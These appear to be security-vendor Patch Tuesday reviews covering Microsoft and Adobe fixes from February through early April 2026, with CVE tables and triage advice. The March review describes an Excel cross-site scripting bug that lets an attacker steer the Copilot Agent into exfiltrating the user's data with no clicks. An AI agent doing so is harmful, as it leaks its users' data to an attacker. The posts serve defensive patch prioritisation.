This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

- CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

- CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

- CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

CVE	Title	Severity	CVSS	Public	Exploited	TYPE
CVE-2026-21514	Microsoft Word Security Feature Bypass Vulnerability	Important	7.8	Yes	Yes	SFB
CVE-2026-21510	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21513	Internet Explorer Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21519	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21533	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21525	Windows Remote Access Connection Manager Denial of Service Vulnerability	Moderate	6.2	No	Yes	DoS
CVE-2026-21511	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2023-2804 *	Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo	Important	6.5	Yes	No	RCE
CVE-2026-24302	Azure Arc Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-24300	Azure Front Door Elevation of Privilege Vulnerability	Critical	9.8	No	No	EoP
CVE-2026-21532	Azure Function Information Disclosure Vulnerability	Critical	8.2	No	No	Info
CVE-2026-21522	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-23655	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21218	.NET and Visual Studio Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21512	Azure DevOps Server Cross-Site Scripting Vulnerability	Important	6.5	No	No	XSS
CVE-2026-21529 †	Azure HDInsight Spoofing Vulnerability	Important	5.7	No	No	Spoofing
CVE-2026-21528	Azure IoT Explorer Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-21228	Azure Local Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-21531	Azure SDK for Python Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-21251	Cluster Client Failover (CCF) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20846	GDI+ Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-21523	GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21518	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-21257	GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-21256	GitHub Copilot and Visual Studio Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21516	GitHub Copilot for Jetbrains Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21253	Mailslot File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21537 †	Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21259	Microsoft Excel Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21258	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21261	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21527	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-21260	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21229	Power BI Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21236	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21238	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21241	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21517	Windows App for Mac Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21234	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21235	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21246	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21232	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21240	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21250	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21244	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21247	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21248	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21255	Windows Hyper-V Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-21231	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21239	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21245	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21222	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21243	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20841	Windows Notepad App Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21249	Windows NTLM Spoofing Vulnerability	Important	3.3	No	No	Spoofing
CVE-2026-21508	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21237	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21242	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-1861 *	Chromium: CVE-2026-1861 Heap buffer overflow in libvpx	High	N/A	No	No	RCE
CVE-2026-1862 *	Chromium: CVE-2026-1862 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-0391	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order. There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The March 2026 Security Update Review

Sat, 25 Jul 2026 19:00:43 +0200

I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

- CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

- CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

- CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

- CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-26127	.NET Denial of Service Vulnerability	Important	7.5	Yes	No	DoS
CVE-2026-21262	SQL Server Elevation of Privilege Vulnerability	Important	8.8	Yes	No	EoP
CVE-2026-23651	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26124	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26122	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21536	Microsoft Devices Pricing Program Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-26144	Microsoft Excel Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26110	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26113	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26125	Payment Orchestrator Service Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-26131	.NET Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25177	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26117	Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26130	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-23661	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23662	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23664	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26121	Azure IOT Explorer Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-26118	Azure MCP Server Tools Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23667	Broadcast DVR Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25190	GDI Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25181	GDI+ Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26030 *	GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable	Important	9.9	No	No	RCE
CVE-2026-23654 *	GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26141	Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23665 †	Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23674	MapUrlToZone Security Feature Bypass Vulnerability	Important	7.5	No	No	SFB
CVE-2026-26123	Microsoft Authenticator Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26148 †	Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-25167	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.4	No	No	EoP
CVE-2026-26107	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26108	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26109	Microsoft Excel Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-26112	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26134	Microsoft Office Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26106	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26114	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26105	Microsoft SharePoint Server Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-24283	Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-25165	Performance Counters for Windows Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24282	Push message Routing Service Elevation of Privilege Vulnerability	Important	5.5	No	No	Info
CVE-2026-26115	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26116	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-20967	System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-24285	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24291	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25186	Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-23660 †	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24293	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25176	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25178	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25179	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23656	Windows App Installer Spoofing Vulnerability	Important	5.9	No	No	Spoofing
CVE-2026-25171	Windows Authentication Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23671	Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24292	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24295	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24296	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25189	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25174	Windows Extensible File Allocation Table Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25168	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-25169	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-23668	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25180	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-25170	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24297	Windows Kerberos Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-24287	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24289	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26132	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24288	Windows Mobile Broadband Driver Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-25175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23669	Windows Print Spooler Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-24290	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23673	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25172	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25173	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-26111	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25185	Windows Shell Link Processing Spoofing Vulnerability	Important	5.3	No	No	Spoofing
CVE-2026-24294	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26128	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25166	Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25188	Windows Telephony Service Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23672	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25187	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-3536 *	Chromium: CVE-2026-3536 Integer overflow in ANGLE	Critical	N/A	No	No	RCE
CVE-2026-3538 *	Chromium: CVE-2026-3538 Integer overflow in Skia	Critical	N/A	No	No	RCE
CVE-2026-3539 *	Chromium: CVE-2026-3539 Object lifecycle issue in DevTools	High	N/A	No	No	RCE
CVE-2026-3540 *	Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio	High	N/A	No	No	RCE
CVE-2026-3541 *	Chromium: CVE-2026-3541 Inappropriate implementation in CSS	High	N/A	No	No	RCE
CVE-2026-3542 *	Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly	High	N/A	No	No	RCE
CVE-2026-3543 *	Chromium: CVE-2026-3543 Inappropriate implementation in V8	High	N/A	No	No	RCE
CVE-2026-3544 *	Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs	High	N/A	No	No	RCE
CVE-2026-3545 *	Chromium: CVE-2026-3545 Insufficient data validation in Navigation	High	N/A	No	No	RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

